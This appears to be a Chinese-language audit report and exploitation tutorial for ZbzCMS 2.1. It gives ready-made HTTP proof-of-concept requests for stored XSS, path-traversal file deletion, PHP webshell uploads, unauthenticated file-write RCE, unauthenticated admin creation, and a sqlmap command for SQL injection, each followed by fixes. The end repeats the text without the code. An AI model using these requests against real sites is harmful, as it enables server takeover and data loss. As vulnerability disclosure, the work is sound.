ZbzCMS 2.1 审计
字数 1271 2025-08-25 22:59:09

ZbzCMS 2.1 安全审计报告与漏洞利用教学

0x00 系统概述

ZbzCMS 2.1 是一套存在多处安全漏洞的内容管理系统。本报告详细分析了系统中发现的多个高危漏洞,包括存储型XSS、任意文件删除、任意文件上传、未授权RCE、未授权添加管理员以及SQL注入等漏洞。

0x01 存储型XSS漏洞

漏洞位置

/cms/common/php/ajax.php 文件中的留言功能

漏洞分析

系统未对用户输入的留言内容进行有效过滤,导致恶意脚本可被存储并在后台展示。

利用方法

发送以下POST请求:

POST /cms/common/php/ajax.php?run=liuyan HTTP/1.1
Host: x.x.x.x
Content-Type: application/x-www-form-urlencoded
Content-Length: 105

diaoyongbiaoqian=hacker&neirong=<script>alert("what the hack")</script>&leixing=1.1.1.1

修复建议

  • 对所有用户输入进行HTML实体编码
  • 实现内容安全策略(CSP)
  • 使用专门的XSS过滤库

0x02 前台任意文件删除漏洞

漏洞位置

/cms/cms/include/up.php 文件中的删除功能

漏洞分析

文件删除操作未进行权限验证,且未对路径进行安全限制,导致攻击者可删除服务器上任意文件。

利用方法

POST /cms/cms/include/up.php?run=del HTTP/1.1
url=../../../ddd.jpg

修复建议

  • 添加严格的权限验证
  • 限制文件删除操作的范围
  • 对路径参数进行规范化并检查

0x03 前台任意文件上传漏洞

系统存在多处未授权文件上传漏洞:

上传点1: /cms/cms/include/up.php

POST /cms/cms/include/up.php?run=file&path=..&filename=1 HTTP/1.1
Host: xxx
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryU9A5BBZeovUxg3UP

------WebKitFormBoundaryU9A5BBZeovUxg3UP
Content-Disposition: form-data; name="0"; filename="info.php"
Content-Type: application/octet-stream

<?php phpinfo(); ?>
------WebKitFormBoundaryU9A5BBZe

上传点2: /cms/cms/zbzedit/php/zbz.php

POST /cms/cms/zbzedit/php/zbz.php?run=uptxt&path=..&path_res=../../&data_pic_name=1 HTTP/1.1
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryol3qy7YKEOE2tHFq

------WebKitFormBoundaryol3qy7YKEOE2tHFq
Content-Disposition: form-data; name="0"; filename="poc.php"
Content-Type: text/plain

<?php system("whoami"); ?>
------WebKitFormBoundaryol3qy7YKEOE2tHFq--

上传点3: /cms/cms/admin/ajax.php

POST /cms/cms/admin/ajax.php?run=youad_pic HTTP/1.1
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryMnkzsdthG7uKREBW

------WebKitFormBoundary0saNPreA1a0CHrrt
Content-Disposition: form-data; name="1"; filename="ccc.php"
Content-Type: text/plain

<?php phpinfo(); ?>
------WebKitFormBoundary0saNPreA1a0CHrrt--

修复建议

  • 实现严格的权限验证
  • 限制上传文件类型
  • 对上传文件进行重命名
  • 将上传目录设置为不可执行

0x04 前台未授权RCE漏洞

漏洞位置

/cms/cms/admin/run_ajax.php 文件中的文件编辑功能

漏洞分析

系统允许未授权用户通过特定参数写入任意文件内容,导致远程代码执行。

利用方法

POST /cms/cms/admin/run_ajax.php?run=wenjian_edit HTTP/1.1
path=../../../ddd.php&neirong=<?php phpinfo(); ?>

修复建议

  • 实现严格的权限验证
  • 限制文件写入路径
  • 对写入内容进行安全检查

0x05 前台未授权添加管理员漏洞

漏洞位置

/cms/cms/admin/run_ajax.php 文件中的管理员添加和登录功能

漏洞分析

系统未验证添加管理员操作的权限,且登录功能存在缺陷,导致攻击者可添加管理员账户并登录。

利用方法

  1. 添加管理员:
POST /cms/cms/admin/run_ajax.php?run=admin HTTP/1.1
mima=123456&guanliyuan=hack
  1. 创建会话:
POST /cms/cms/admin/run_ajax.php?run=login HTTP/1.1
guanliyuan=hack&pwd=123456

修复建议

  • 实现严格的权限层级
  • 对管理员操作进行二次验证
  • 记录所有管理员操作日志

0x06 SQL注入漏洞

系统存在多处SQL注入漏洞:

注入点1: /cms/common/php/ajax.php

GET /cms/common/php/ajax.php?run=ad&id=3 HTTP/1.1

可使用sqlmap进行自动化检测:

sqlmap -u "http://xxx/cms/common/php/ajax.php?run=ad&id=3" -p id

注入点2: /cms/cms/include/make.php

存在布尔盲注和时间盲注漏洞。

修复建议

  • 使用预处理语句(PDO)
  • 实现严格的输入过滤
  • 使用ORM框架
  • 最小化数据库账户权限

总结

ZbzCMS 2.1 存在严重的安全问题,建议立即停止使用并升级到安全版本。开发人员应重视安全开发实践,包括但不限于:

  1. 实现全面的权限验证
  2. 对所有用户输入进行严格过滤
  3. 使用安全编码规范
  4. 定期进行安全审计

对于系统管理员,建议:

  1. 立即修补或更换系统
  2. 检查服务器是否已被入侵
  3. 修改所有相关密码
  4. 审查系统日志
ZbzCMS 2.1 安全审计报告与漏洞利用教学 0x00 系统概述 ZbzCMS 2.1 是一套存在多处安全漏洞的内容管理系统。本报告详细分析了系统中发现的多个高危漏洞,包括存储型XSS、任意文件删除、任意文件上传、未授权RCE、未授权添加管理员以及SQL注入等漏洞。 0x01 存储型XSS漏洞 漏洞位置 /cms/common/php/ajax.php 文件中的留言功能 漏洞分析 系统未对用户输入的留言内容进行有效过滤,导致恶意脚本可被存储并在后台展示。 利用方法 发送以下POST请求: 修复建议 对所有用户输入进行HTML实体编码 实现内容安全策略(CSP) 使用专门的XSS过滤库 0x02 前台任意文件删除漏洞 漏洞位置 /cms/cms/include/up.php 文件中的删除功能 漏洞分析 文件删除操作未进行权限验证,且未对路径进行安全限制,导致攻击者可删除服务器上任意文件。 利用方法 修复建议 添加严格的权限验证 限制文件删除操作的范围 对路径参数进行规范化并检查 0x03 前台任意文件上传漏洞 系统存在多处未授权文件上传漏洞: 上传点1: /cms/cms/include/up.php 上传点2: /cms/cms/zbzedit/php/zbz.php 上传点3: /cms/cms/admin/ajax.php 修复建议 实现严格的权限验证 限制上传文件类型 对上传文件进行重命名 将上传目录设置为不可执行 0x04 前台未授权RCE漏洞 漏洞位置 /cms/cms/admin/run_ajax.php 文件中的文件编辑功能 漏洞分析 系统允许未授权用户通过特定参数写入任意文件内容,导致远程代码执行。 利用方法 修复建议 实现严格的权限验证 限制文件写入路径 对写入内容进行安全检查 0x05 前台未授权添加管理员漏洞 漏洞位置 /cms/cms/admin/run_ajax.php 文件中的管理员添加和登录功能 漏洞分析 系统未验证添加管理员操作的权限,且登录功能存在缺陷,导致攻击者可添加管理员账户并登录。 利用方法 添加管理员: 创建会话: 修复建议 实现严格的权限层级 对管理员操作进行二次验证 记录所有管理员操作日志 0x06 SQL注入漏洞 系统存在多处SQL注入漏洞: 注入点1: /cms/common/php/ajax.php 可使用sqlmap进行自动化检测: 注入点2: /cms/cms/include/make.php 存在布尔盲注和时间盲注漏洞。 修复建议 使用预处理语句(PDO) 实现严格的输入过滤 使用ORM框架 最小化数据库账户权限 总结 ZbzCMS 2.1 存在严重的安全问题,建议立即停止使用并升级到安全版本。开发人员应重视安全开发实践,包括但不限于: 实现全面的权限验证 对所有用户输入进行严格过滤 使用安全编码规范 定期进行安全审计 对于系统管理员,建议: 立即修补或更换系统 检查服务器是否已被入侵 修改所有相关密码 审查系统日志